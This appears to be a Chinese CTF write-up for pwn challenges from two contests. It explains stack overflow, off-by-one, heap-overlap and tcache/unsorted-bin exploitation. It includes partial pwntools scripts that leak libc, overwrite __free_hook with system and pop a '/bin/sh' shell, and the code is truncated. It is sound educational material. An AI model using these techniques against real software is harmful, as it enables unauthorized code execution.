1.12电信杯
pwn1
因为用gets,可以看出这里存在溢出漏洞
可以通过溢出修改size,再free掉,形成overloap
for i in range(10):
ad('/bin/sh\x00')
rm(0)
ad(b'\x00'*0x88+p64(0x90*8+1)) #tcache<0x400 unsortbin>0x400
rm(1)
ad('a')
dp(2)
leak = u64(io.recvuntil("\x7f")[-6:]+b'\x00\x00')
base = leak-96-0x10-libc.sym['__malloc_hook']
system = base + libc.sym['system']
free = base + libc.sym['__free_hook']
print("leak--->"+hex(leak))
print("free--->" ...
1.10长安抗疫赛
pwn1明显的栈溢出漏洞
leave 是
mov esp,ebppop ebp
发现直接覆盖ret竟然不行,观察汇编发现在跳转前先将lea esp, [ecx-4]
因此需要先控制ecx,可以向[ebp - 4]写入想要跳转的地址(该栈上),再在此地址写入后门函数(esp, [ecx - 4])的地址即可实现getshell。
pwn2
如上图,存在off_by_one漏洞,可以利用堆重叠进行任意地址写的操作。
首先,泄露libc地址: 将unsortbin切割,通过残留的fd指针,从而泄露出地址。
其次,利用堆重叠,将一号堆溢出值二号堆的fd处,
若写入的是__free_hook的地址即可实现劫持free的效果。此时向__free_hook处写入system,在__free_hook-8处写入参数”/bin/sh\x00”,再free该堆即可(也可向任意的堆头处写入”/bin/sh\x00”,第一个位置将作为参数传入)
#!/usr/bin/python3
from pwn import *
context.log_level = 'debug'
e ...





